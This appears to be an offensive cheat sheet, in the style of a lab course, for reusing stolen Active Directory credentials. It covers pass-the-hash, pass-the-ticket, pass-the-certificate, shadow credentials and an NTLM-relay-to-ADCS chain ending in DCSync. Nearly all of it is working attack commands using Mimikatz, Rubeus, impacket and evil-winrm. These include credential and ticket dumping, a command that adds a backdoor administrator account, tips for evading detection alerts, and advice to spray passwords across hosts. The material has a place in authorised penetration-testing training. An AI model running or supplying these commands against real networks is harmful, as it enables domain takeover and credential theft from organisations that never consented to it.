If you can’t crack the hash, reuse it. NTLM, Kerberos, and PKI auth all accept the raw credential material as proof — a stolen hash, ticket, or .pfx is a login.

Pass-the-Hash (PtH)

NTLM authentication proves you know the NT hash of the password — it never sends the password itself. Owning the hash is owning the account.

When it works

  • NTLM is still enabled (nearly universal in AD).
  • Target is local-admin via the stolen account (SMB admin shares, service exec).
  • UAC token filter: non-RID-500 local admins need LocalAccountTokenFilterPolicy = 1 to PtH remotely.

Tools

# Impacket — interactive shell via SMB (SYSTEM)
impacket-psexec administrator@10.10.10.10 -hashes :30B3783CE2ABF1AF70F77D0660CF3453
 
# Impacket — exec via WMI (no service created)
impacket-wmiexec administrator@10.10.10.10 -hashes :30B3783CE2ABF1AF70F77D0660CF3453
 
# Impacket — exec via SMB service (similar to psexec)
impacket-smbexec administrator@10.10.10.10 -hashes :30B3783CE2ABF1AF70F77D0660CF3453
 
# Impacket — upload+execute arbitrary binary
impacket-atexec administrator@10.10.10.10 -hashes :<NT> 'whoami /all'
 
# NetExec — sweep a subnet with one hash
netexec smb 10.10.10.0/24 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453 --local-auth
 
# NetExec — execute a command
netexec smb 10.10.10.10 -u Administrator -H <NThash> -x 'whoami /priv'
 
# Evil-WinRM — PowerShell shell (needs WinRM 5985/5986 open)
evil-winrm -i 10.10.10.10 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453
 
# RDP via hash — requires Restricted Admin Mode
reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
xfreerdp /v:10.10.10.10 /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B

Hash format for impacket is LMhash:NThash. Use :NThash when LM is empty (modern Windows).

From Windows: Mimikatz / Invoke-TheHash

# Mimikatz — spawn a new cmd.exe running as the victim
privilege::debug
sekurlsa::pth /user:julio /domain:inlanefreight.htb /ntlm:<NThash> /run:cmd.exe
Import-Module .\Invoke-TheHash.psd1
Invoke-SMBExec -Target 10.10.10.10 -Domain inlanefreight.htb -Username julio -Hash <NThash> -Command "net user mark Pass123! /add && net localgroup administrators mark /add"

Pivot pattern

Dump SAM on host A → Admin NT hash
→ netexec smb <subnet> -u Admin -H <hash> --local-auth
→ Any `Pwn3d!` host: secretsdump → more hashes
→ Repeat until domain hash appears

Overpass-the-Hash / Pass-the-Key

NTLM is being hardened; Kerberos AES keys are not. Using an AES256 key instead of the NT hash:

  • Fetches a real Kerberos TGT from the KDC
  • Doesn’t trigger “NTLM auth from unusual host” alerts
  • Avoids the RC4 encryption-downgrade detection
# Mimikatz — pull AES keys from memory
sekurlsa::ekeys
# Mimikatz — Overpass-the-Hash: forge TGT with AES key
sekurlsa::pth /user:julio /domain:inlanefreight.htb /aes256:<aes256-key> /run:cmd.exe

# Rubeus — request a real TGT from the KDC using the key
Rubeus.exe asktgt /user:julio /aes256:<aes256-key> /ptt
Rubeus.exe asktgt /user:julio /rc4:<NThash> /ptt
# Impacket — on Linux, use getTGT then export
impacket-getTGT inlanefreight.htb/julio -aesKey <aes256-key>
export KRB5CCNAME=julio.ccache
impacket-wmiexec -k -no-pass inlanefreight.htb/julio@dc01

Pass-the-Ticket (PtT)

Stolen .kirbi (Windows) or .ccache (Linux) file → inject into current session → authenticate as the victim without hash or password.

Stealing Tickets (Windows)

# Mimikatz — dump every ticket in memory as .kirbi
privilege::debug
sekurlsa::tickets /export

# Rubeus — dump as Base64 in memory (no file touches disk)
Rubeus.exe dump /nowrap
Rubeus.exe dump /luid:<luid> /nowrap     # specific session

Injecting Tickets (Windows)

# From .kirbi
Rubeus.exe ptt /ticket:julio.kirbi
mimikatz # kerberos::ptt C:\julio.kirbi

# From Base64
Rubeus.exe ptt /ticket:doIE1jCCBNK...

# Verify
klist

# Use
dir \\DC01.inlanefreight.htb\c$
Enter-PSSession -ComputerName DC01

Clean-Session Injection

Injecting into your current session overwrites your own tickets. Avoid that with a new logon session:

Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /show
# from the new window:
Rubeus.exe asktgt /user:john /aes256:<key> /ptt
Enter-PSSession DC01

Linux — Keytabs & CCaches

# Check if AD-joined
realm list; ps -ef | grep -Ei 'winbind|sssd'
 
# Find keytabs (service principal creds)
find / -name '*.keytab' -ls 2>/dev/null
 
# Dump keytab principals
klist -k -t /opt/svc.keytab
 
# Load keytab (OVERWRITES current ccache — backup first!)
cp $KRB5CCNAME /tmp/krb5cc_backup
kinit svc@INLANEFREIGHT.HTB -k -t /opt/svc.keytab
klist
 
# Pull hashes/keys from a keytab
python3 keytabextract.py /opt/svc.keytab
# → NT hash, AES128, AES256 — usable for PtH or Overpass-the-Hash
 
# Credential caches
ls -la /tmp/krb5cc_*
export KRB5CCNAME=/tmp/krb5cc_1000_XYZ
klist
smbclient //dc01/share -k -no-pass
 
# Convert between formats
impacket-ticketConverter krb5cc_1000_XYZ julio.kirbi   # ccache → kirbi
impacket-ticketConverter julio.kirbi julio.ccache      # kirbi → ccache
 
# Automated credential harvest from AD-joined Linux
./linikatz.sh

Using Linux Tickets Against Windows

export KRB5CCNAME=/tmp/julio.ccache
# Update /etc/hosts if DNS is unavailable
echo "10.10.10.10 dc01.inlanefreight.htb" | sudo tee -a /etc/hosts
 
# Kerberos-enabled impacket
impacket-wmiexec -k -no-pass inlanefreight.htb/julio@dc01.inlanefreight.htb
impacket-psexec -k -no-pass inlanefreight.htb/julio@dc01.inlanefreight.htb
 
# Evil-WinRM with Kerberos (needs krb5-user)
sudo apt install krb5-user
evil-winrm -i dc01.inlanefreight.htb -r inlanefreight.htb

Pass-the-Certificate (PtC)

AD Certificate Services issues certs that authenticate via PKINIT — a cert = a TGT. If you have a .pfx, you don’t need a password or hash.

Chain: PFX → TGT → Shell

# 1. Request a TGT with a PFX (PKINITtools)
python3 gettgtpkinit.py -cert-pfx jpinkman.pfx \
  INLANEFREIGHT.LOCAL/jpinkman /tmp/jpinkman.ccache
# Password-protected PFX: add -pfx-pass '<pass>'
 
# 2. Use the TGT
export KRB5CCNAME=/tmp/jpinkman.ccache
klist
evil-winrm -i dc01.inlanefreight.local -r inlanefreight.local
impacket-wmiexec -k -no-pass inlanefreight.local/jpinkman@dc01

Shadow Credentials

If you have write on a user’s msDS-KeyCredentialLink attribute (common with ACL misconfigs), inject a backdoor cert:

# Add shadow cert
pywhisker --dc-ip 10.10.10.10 -d INLANEFREIGHT.LOCAL \
  -u wwhite -p 'Pass!' --target jpinkman --action add
# → writes <random>.pfx
 
# Use it
python3 gettgtpkinit.py -cert-pfx <random>.pfx -pfx-pass '<pass>' \
  INLANEFREIGHT.LOCAL/jpinkman /tmp/jpinkman.ccache
export KRB5CCNAME=/tmp/jpinkman.ccache
evil-winrm -i dc01 -r inlanefreight.local

ESC8 — NTLM Relay to ADCS (Chain to DC Compromise)

Classic full-chain: coerce the DC → relay NTLM → ADCS issues a cert for DC01$ → PKINIT TGT → DCSync.

# 1. Start relay listener targeting ADCS web enrollment
impacket-ntlmrelayx -t http://10.10.10.11/certsrv/certfnsh.asp \
  --adcs --template KerberosAuthentication -smb2support
 
# 2. Coerce DC auth (Printer Bug / PetitPotam / Coercer)
python3 printerbug.py INLANEFREIGHT.LOCAL/wwhite:'Pass!'@10.10.10.5 10.10.14.5
# or
python3 dementor.py -u wwhite -p 'Pass!' -d INLANEFREIGHT.LOCAL 10.10.14.5 10.10.10.5
# or modern:
coercer coerce -u wwhite -p 'Pass!' -d INLANEFREIGHT.LOCAL -l 10.10.14.5 -t 10.10.10.5
 
# 3. Relay issues DC01$.pfx — use it for TGT
python3 gettgtpkinit.py -cert-pfx DC01\$.pfx -dc-ip 10.10.10.5 \
  'inlanefreight.local/dc01$' /tmp/dc.ccache
 
# 4. DCSync as DC01$
export KRB5CCNAME=/tmp/dc.ccache
impacket-secretsdump -k -no-pass -dc-ip 10.10.10.5 \
  -just-dc-user Administrator 'INLANEFREIGHT.LOCAL/DC01$'@DC01.INLANEFREIGHT.LOCAL
 
# 5. Pass-the-Hash the Admin NT
evil-winrm -i 10.10.10.5 -u Administrator -H <NThash>

Decision Tree

Got a credential. What now?

├── NT hash → PtH (impacket-* / netexec / evil-winrm)
│   └── Also usable for Overpass-the-Hash → Kerberos ticket
├── AES256 key → asktgt with /aes256 → PtT (quietest)
├── .kirbi / .ccache → PtT (Rubeus ptt / export KRB5CCNAME)
├── .pfx (certificate) → PKINIT → TGT → PtT
├── Cleartext password → `impacket-* user:pass@host` / spray it everywhere
└── DCC2 or Linux crypt hash → crack first (not directly reusable)

Pitfalls

  • Time skew. Kerberos requires <5 min skew between client and KDC. sudo ntpdate <DC> or rdate -n <DC>.
  • Case sensitivity. kinit principals must match realm case exactly.
  • DNS. Kerberos needs to resolve the KDC/SPN hostname — add to /etc/hosts if DNS is unreliable.
  • KRB5CCNAME. Set it to the full path of the ccache. Unset it to use the default system cache.
  • Backup first. kinit overwrites current cache. Always cp $KRB5CCNAME /tmp/backup.
  • Encryption type. Prefer AES256 over RC4 — RC4 Kerberos ($krb5tgs$23$...) flags “encryption downgrade” alerts.